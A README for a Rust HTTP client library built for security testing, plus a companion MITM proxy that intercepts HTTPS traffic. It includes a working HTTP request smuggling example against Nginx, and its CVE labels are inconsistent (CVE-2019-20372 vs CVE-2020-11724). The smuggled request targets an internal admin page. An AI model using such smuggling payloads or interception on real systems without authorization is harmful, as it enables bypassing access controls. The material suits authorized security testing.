slinger(投石器)

An HTTP Client for Rust designed for hackers.
Explore the docs »

View Demo · Report Bug · Request Feature

About The Project

Slinger is a workspace containing:

slinger

The core HTTP client library for Rust designed for hackers.

• customizable redirect policy
• http/https and socks5/socks5h proxies
• cookie store
• raw socket request
• HTTPS via tls

slinger-mitm

A Man-in-the-Middle (MITM) proxy with transparent HTTPS traffic interception, similar to Burp Suite.

• Automatic CA certificate generation with improved certificate management (inspired by hudsucker)
• Certificate caching for high performance
• Transparent HTTPS interception using rustls backend
• Traffic interception and modification interfaces
• Random serial numbers and clock skew handling
• Reuses slinger's Socket implementation
• Minimal external dependencies

(back to top)

Getting Started

Using slinger (HTTP Client)

This example enables some optional features, so your Cargo.toml could look like this:

[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }

And then the code:

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get").await?;
  println!("{:?}", resp.text());
  Ok(())
}

Using slinger-mitm (MITM Proxy)

Add to your Cargo.toml:

[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }

Example code:

use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let config = MitmConfig::default();
    let proxy = MitmProxy::new(config).await?;
    
    // Add logging interceptor
    let handler = proxy.interceptor_handler();
    let mut h = handler.write().await;
    h.add_request_interceptor(Arc::new(Interceptor::logging()));
    drop(h);
    
    proxy.start("127.0.0.1:8080").await?;
    Ok(())
}

See slinger-mitm/README.md for more details on MITM proxy usage.

Features

Slinger supports the following optional features:

• tls - Base TLS feature (enables TLS types and interfaces without a specific backend)
• rustls - HTTPS support using Rustls (requires tls, pure Rust implementation)
• http2 - HTTP/2 protocol support (requires a TLS backend)
• cookie - Cookie handling support
• charset - Character encoding support
• serde - Serialization/deserialization support
• gzip - Gzip compression support
• schema - JSON Schema support

TLS Backend Selection

To use TLS, you must:

1. Enable the tls feature
2. Choose the rustls backend, OR provide a custom TLS connector

Example feature combinations:

# Using rustls backend
slinger = { version = "0.2.8", features = ["tls", "rustls"] }

# Using custom TLS backend (requires implementing CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }

Custom TLS Backend (e.g., native-tls, OpenSSL)

If you want to use native-tls, OpenSSL, or other TLS libraries, you can implement a custom TLS connector. See the native_tls_example.rs for a complete example of how to integrate native-tls.

Example

• Nginx - Http Smuggling CVE-2019-20372

use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::default().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}

For more examples, please refer to the example

(back to top)

Contributing

Contributions are what make the open source community such an amazing place to learn, inspire, and create. Any contributions you make are greatly appreciated.

If you have a suggestion that would make this better, please fork the repo and create a pull request. You can also simply open an issue with the tag "enhancement". Don't forget to give the project a star! Thanks again!

1. Fork the Project
2. Create your Feature Branch (git checkout -b feature/AmazingFeature)
3. Commit your Changes (git commit -m 'Add some AmazingFeature')
4. Push to the Branch (git push origin feature/AmazingFeature)
5. Open a Pull Request

(back to top)

License

Distributed under the GPL-3.0-only License. See LICENSE for more information.

(back to top)

Contact

Your Name - @Kali_Team - [email protected]

Project Link: https://github.com/emo-crab/slinger

(back to top)

Acknowledgments

• reqwest

(back to top)